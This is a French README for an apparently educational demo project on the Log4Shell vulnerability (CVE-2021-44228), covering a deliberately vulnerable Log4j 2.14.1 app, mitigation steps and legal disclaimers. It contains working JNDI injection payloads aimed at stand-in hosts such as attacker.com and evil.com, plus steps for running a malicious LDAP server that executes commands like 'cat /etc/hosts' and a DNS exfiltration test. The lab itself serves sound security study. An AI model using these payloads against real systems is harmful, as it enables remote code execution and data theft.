
Demo of CVE-2021-44228 Log4Shell.
Ceci est un projet de démonstration destiné à l'étude et à la recherche sur la vulnérabilité d'exécution de code à distance Log4j2 (Log4Shell).
Ce projet est uniquement destiné à des fins de recherche en sécurité et d'éducation, ne pas utiliser en environnement de production !
Ce projet utilise la version Log4j 2.14.1 qui présente une grave faille de sécurité.
./mvnw clean package
./mvnw spring-boot:run
Ou :
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
Ouvrir un navigateur et aller à : http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) est une grave vulnérabilité dans Apache Log4j2. Lorsque l'application enregistre une saisie utilisateur contenant une chaîne de format spéciale, Log4j2 analyse les expressions de recherche JNDI, ce qu'un attaquant peut exploiter pour exécuter du code à distance.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Mettre à jour Log4j2 vers la version 2.17.1 ou ultérieure :
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. Exécuter le script d'automatisation
./setup-exploit-server.sh
# 2. Choisir l'outil JNDI-Injection-Exploit
# 3. Saisir la commande à exécuter (ex. whoami ou cat /etc/hosts)
# 4. Dans un autre terminal, envoyer la charge utile d'attaque
# Démarrer un serveur LDAP malveillant
python3 simple-ldap-server.py "whoami"
# Ou exécuter une autre commande
python3 simple-ldap-server.py "cat /etc/hosts"
# Dans un autre terminal, envoyer la charge utile d'attaque
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# Exécuter le script de test d'exfiltration DNS
./test-dns-exfiltration.sh
# Suivre les instructions, accéder à dnslog.cn pour obtenir un sous-domaine
# Puis vérifier si une requête DNS a été reçue
Ce projet est sous licence MIT License.
Avis particulier : Ce projet est uniquement destiné à des fins éducatives et de recherche en sécurité. L'utilisateur assume seul les risques liés à son utilisation.
Effectuer des tests d'intrusion sur les systèmes d'autrui sans autorisation est illégal ! Ce projet est uniquement destiné à :
Veuillez respecter les lois et réglementations locales et utiliser ces connaissances de manière responsable.